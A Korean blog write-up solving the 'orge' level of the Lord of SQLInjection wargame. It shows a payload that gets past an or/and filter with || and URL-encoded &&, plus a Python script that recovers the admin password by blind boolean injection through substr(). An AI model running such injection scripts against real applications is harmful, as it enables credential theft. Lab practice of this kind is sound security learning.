[ Lord of SQLInjection ] orge

Hyeonjin Lee·2023년 3월 24일
0

문제 분석


  • 문자열 or 와 and를 필터링 하고 있다.
  • 정확한 pw를 찾으면 문제를 해결할 수 있다.

문제 풀이


or 하고 and는 특수문자 ||와 &&로 우회할 수 있다.
여기서 주의할 점은 특수문자 &은 url인코딩해서 %26으로 적어야한다.

?pw=aaa' || id='admin' %26%26 length(pw)=8%23

length가 8일 때 Hello admin이 출력되는 것을 보아 pw의 길이는 8임을 알 수 있다.


이후 자동화 코드를 통해서 pw를 찾아내면 된다.
import requests

cookie = {'PHPSESSID': '사용자 세션'}
address = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

answer = ''

for i in range(1,9):
    for j in string:
        url = f"{address}?pw=' || id='admin' %26%26 substr(pw,{i},1) = '{j}'%23"
        res = requests.get(url, cookies=cookie)
        if "Hello admin" in res.text:
            answer += j
            break
print(f'[+] Find : {answer}')

profile
요즘 행복해요

0개의 댓글